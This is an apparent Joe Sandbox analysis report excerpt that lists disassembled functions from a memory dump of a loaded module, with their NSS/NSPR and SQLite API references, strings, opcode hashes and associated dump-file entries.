Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5b072e638485e47dd44624ee74d72043ff9ba0ce4a8eabb828ce5122c9f59f02
Instruction ID: a57bdbea1866140d4916067497bab74cc8800e025d8a097f71423ef34042b024
Opcode Fuzzy Hash: 5b072e638485e47dd44624ee74d72043ff9ba0ce4a8eabb828ce5122c9f59f02
Instruction Fuzzy Hash: 2F210C73B002845BEF1045655C45B6B72BA9B8275CFB94439F81967B02EE62D8358291

Function 6CE5AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE5AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE5AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF79500), ref: 6CE5AF23

Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEAF0C8
Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5AF37

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 19cf52c9c54f56a16979193d47e0860bfa69738328050ed434e8ce3ab8885447
Instruction ID: 35673047e8f6f1ba935dba3cf621f0813f3663ed480ab5268596c68a78d09ec8
Opcode Fuzzy Hash: 19cf52c9c54f56a16979193d47e0860bfa69738328050ed434e8ce3ab8885447
Instruction Fuzzy Hash: C62106B1949200AAE7108F189C42BAA7BB4AF8572CF744319E854AB780E733D55587B2

Function 6CEDEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDEE85
realloc.MOZGLUE(605F7314,?), ref: 6CEDEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEDEEC5

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

htonl.WSOCK32(?), ref: 6CEDEEE3
htonl.WSOCK32(00000000,?), ref: 6CEDEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEDEF01

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 02c066b0709aa762b49ce605212f33dd192c13e04e43da1716ce9c8abc8a4a28
Instruction ID: f305e5edec5d92b95f1f57ac8982be8544f23514be88c48da56cd83260970825
Opcode Fuzzy Hash: 02c066b0709aa762b49ce605212f33dd192c13e04e43da1716ce9c8abc8a4a28
Instruction Fuzzy Hash: 1221AD72A006159BDB109F28DC84B9AB7B4EF49358F268169EC199B741E730F815CBE2

Function 6CE8EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8EE49

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE8EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CE8EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CE8EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE8EEB3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 4c5f9e7aa4d8fef81c3b1131b96f0eb6b001d2012803ddc527ed808719ac824d
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: AF21F3BAA016116BEB118B58DC81EAB73B8EF4570CF244168FD089B701E671EC14C7F1

Function 6CE57F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE57F68

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE57F7B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE57FA7

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF7919C,?), ref: 6CE57FBB

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE57FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF7915C,00000014), ref: 6CE57FFE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 9670ea59ec3b87ebaab8ae07636e8edc081081de7fb05a106cd531f3d2fadb40
Instruction ID: ef8cfca95c565408f76f5bc28c5e16a13b31e38889bb9cb5d636767030de4072
Opcode Fuzzy Hash: 9670ea59ec3b87ebaab8ae07636e8edc081081de7fb05a106cd531f3d2fadb40
Instruction Fuzzy Hash: DB1154B1D142049AE610DA25AD42BBB72BCDF4465CF60462DEC59D6B81FB22E928C2B1

Function 6CE5BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CEDDC29,?), ref: 6CE5BE64

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CEDDC29,?), ref: 6CE5BE78

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CEDDC29,?), ref: 6CE5BE96

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CEDDC29,?), ref: 6CE5BEBB

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CEDDC29,?), ref: 6CE5BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CEDDC29,?), ref: 6CE5BEF3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 3ce92e95cd65093a15646b5e7fdec58ae3e53d1544939b8e8f48c0915fc7609a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: FC11A571F002095BEB008B659D46FBA37B8EB4125CF78002CED08EB780EB32D919C7A1

Function 6CEE3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE3D3F

Part of subcall function 6CE5BA90: PORT_NewArena_Util.NSS3(00000800,6CEE3CAF,?), ref: 6CE5BABF
Part of subcall function 6CE5BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CEE3CAF,?), ref: 6CE5BAD5
Part of subcall function 6CE5BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CEE3CAF,?), ref: 6CE5BB08
Part of subcall function 6CE5BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEE3CAF,?), ref: 6CE5BB1A
Part of subcall function 6CE5BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CEE3CAF,?), ref: 6CE5BB3B

PR_EnterMonitor.NSS3(?), ref: 6CEE3CCB

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

PR_EnterMonitor.NSS3(?), ref: 6CEE3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE3CF8
PR_ExitMonitor.NSS3(?), ref: 6CEE3D15
PR_ExitMonitor.NSS3(?), ref: 6CEE3D2E

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 9fa31dc946a5bf17c10a561775f86bc32ca3edec02b5c9513d3d6376fcd21a05
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 4A11C4B9A116006FE7209A65EC41BDBB3F5EB1538CF604538E41A97B30E632E919C693

Function 6CEAFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEAFE08

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEAFE1D

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEAFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEAFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEAFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CEAFE6F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: db78aa651362d5a35b4d36b8817606b8d99a0e933403605ad055fcee9cb18347
Instruction ID: 93a033ffae5bf0b8fcff5a9b361ca0786c70f71c9bbfa09fe4e539b58e745051
Opcode Fuzzy Hash: db78aa651362d5a35b4d36b8817606b8d99a0e933403605ad055fcee9cb18347
Instruction Fuzzy Hash: 2111ACB6A002456FEB004B95DC40B5B73B4AF552ADF34C038E9199BB12E735D515C791

Function 6CF5FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF5FD9E

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF5FDB9

Part of subcall function 6CE3A900: TlsGetValue.KERNEL32(00000000,?,6CFB14E4,?,6CDD4DD9), ref: 6CE3A90F
Part of subcall function 6CE3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE3A94F

PR_Unlock.NSS3 ref: 6CF5FDD4
PR_Lock.NSS3 ref: 6CF5FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF5FE0D
PR_Unlock.NSS3 ref: 6CF5FE23

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: d608bf689dcdfb23a680576bb3f37fb13289a417d4c06ed3184539aa52cb2040
Instruction ID: dd9f503f99fbb1488c3cbc3bda0a305a5eb170eecdff4c6d39685ceac11835d5
Opcode Fuzzy Hash: d608bf689dcdfb23a680576bb3f37fb13289a417d4c06ed3184539aa52cb2040
Instruction Fuzzy Hash: 550161BAE14601ABDF448F15FC40856BA31FB132687554378E92647BE2E722EE29C7C1

Function 6CE3AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE3AFDA

Strings

misuse, xrefs: 6CE3AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE3AFC4
%s at line %d of [%.10s], xrefs: 6CE3AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CE3AF5C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ab3b55c62c19f1e6290ea7c25e9339aee830cc69b855d15afbb6c0945f3fb5fc
Instruction ID: c8eb60a5a4615ecb34089027ffd5313ca7a697c1579046b723e9095b9d63eaed
Opcode Fuzzy Hash: ab3b55c62c19f1e6290ea7c25e9339aee830cc69b855d15afbb6c0945f3fb5fc
Instruction Fuzzy Hash: BB910575A442258FDF04CF5AC850BAAB7F1BF45318F2950A8E869AB791C335FD41CB60

Function 6CE9FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CE9FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE9FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE9FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CE9FDDE

Part of subcall function 6CEA8800: TlsGetValue.KERNEL32(?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8821
Part of subcall function 6CEA8800: TlsGetValue.KERNEL32(?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA883D
Part of subcall function 6CEA8800: EnterCriticalSection.KERNEL32(?,?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8856
Part of subcall function 6CEA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEA8887
Part of subcall function 6CEA8800: PR_Unlock.NSS3(?,?,?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8899

Strings

pkcs11:, xrefs: 6CE9FC4F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 07c61b3f72475bff932b7bea5a2d0c840ec96e5845925c8f21c6abd960766daf
Instruction ID: 8e0113bf5e411b7275bb39bdcc6026b1afaba62e6588f750b8257a4fb44eb13d
Opcode Fuzzy Hash: 07c61b3f72475bff932b7bea5a2d0c840ec96e5845925c8f21c6abd960766daf
Instruction Fuzzy Hash: 1E51F5B1A002119FEB108F65DC80B9A7375AF4235CF350129FD146BF62EB39E906CB92

Function 6CDDBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDDBE02

Part of subcall function 6CF09C40: memcmp.VCRUNTIME140(?,00000000,6CDDC52B), ref: 6CF09D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDBE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDBE89
database corruption, xrefs: 6CDDBE93
%s at line %d of [%.10s], xrefs: 6CDDBE98

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
